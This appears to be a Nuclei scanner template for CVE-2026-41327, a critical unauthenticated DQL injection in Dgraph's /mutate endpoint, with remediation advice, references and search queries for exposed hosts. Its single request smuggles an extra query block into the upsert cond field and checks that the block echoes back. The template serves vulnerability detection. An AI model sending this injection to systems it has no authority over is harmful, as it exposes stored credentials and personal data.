id: CVE-2026-41327 info: name: Dgraph < 25.3.3 / < 24.1.8 - DQL Injection author: s4e-io severity: critical description: | Dgraph v25 before 25.3.3 and v24 before 24.1.8 concatenate the cond field of upsert mutations sent to /mutate into generated DQL without structural validation. When ACL is disabled, as in the default configuration, an unauthenticated attacker can append a query block and read database content through the mutation response. impact: | Unauthenticated attackers can read every node and predicate stored in Dgraph, including credentials and personal data, and bypass conditional upsert logic. remediation: | Upgrade Dgraph v25 to 25.3.3 or later, or v24 to 24.1.8 or later, and restrict access to the Alpha HTTP API. reference: - https://github.com/dgraph-io/dgraph/security/advisories/GHSA-mrxx-39g5-ph77 - https://github.com/dgraph-io/dgraph/commit/55e3b79817e87512297695f7dccae86130d0c81e - https://github.com/dgraph-io/dgraph/releases/tag/v25.3.3 - https://nvd.nist.gov/vuln/detail/CVE-2026-41327 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N cvss-score: 9.1 cve-id: CVE-2026-41327 epss-score: 0.00509 epss-percentile: 0.44034 cwe-id: CWE-943 cpe: cpe:2.3:a:dgraph:dgraph:*:*:*:*:*:go:*:* metadata: verified: true max-request: 1 vendor: dgraph product: dgraph shodan-query: http.html:"Dgraph browser is available" fofa-query: body="Dgraph browser is available" tags: cve,cve2026,dgraph,dql,injection,unauth variables: qname: "{{rand_text_alpha(10)}}" qnum: "{{rand_int(100000, 999999)}}" http: - raw: - | POST /mutate?commitNow=true HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"query":"{ q(func: uid(0x1)) { uid } }","set":[],"cond":"@if(uid(0x1))\n {{qname}}(func: uid({{qnum}})) { uid }"} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "application/json")' - 'contains_all(body, "\"queries\":{", "\"server_latency\":", "\"" + qname + "\":[{\"uid\":\"0x" + dec_to_hex(qnum) + "\"}]")' condition: and # digest: 4a0a0047304502205c85a92e5a1f3cbc01dd5c66db2f79ae40850740a90f98b33db4ff89dde36f040221008258eb1d18d8f1f483bd2c8c71d23d257c0e48e12aa35bab164fa17d66161e43:922c64590222798bb761d5b6d8e72950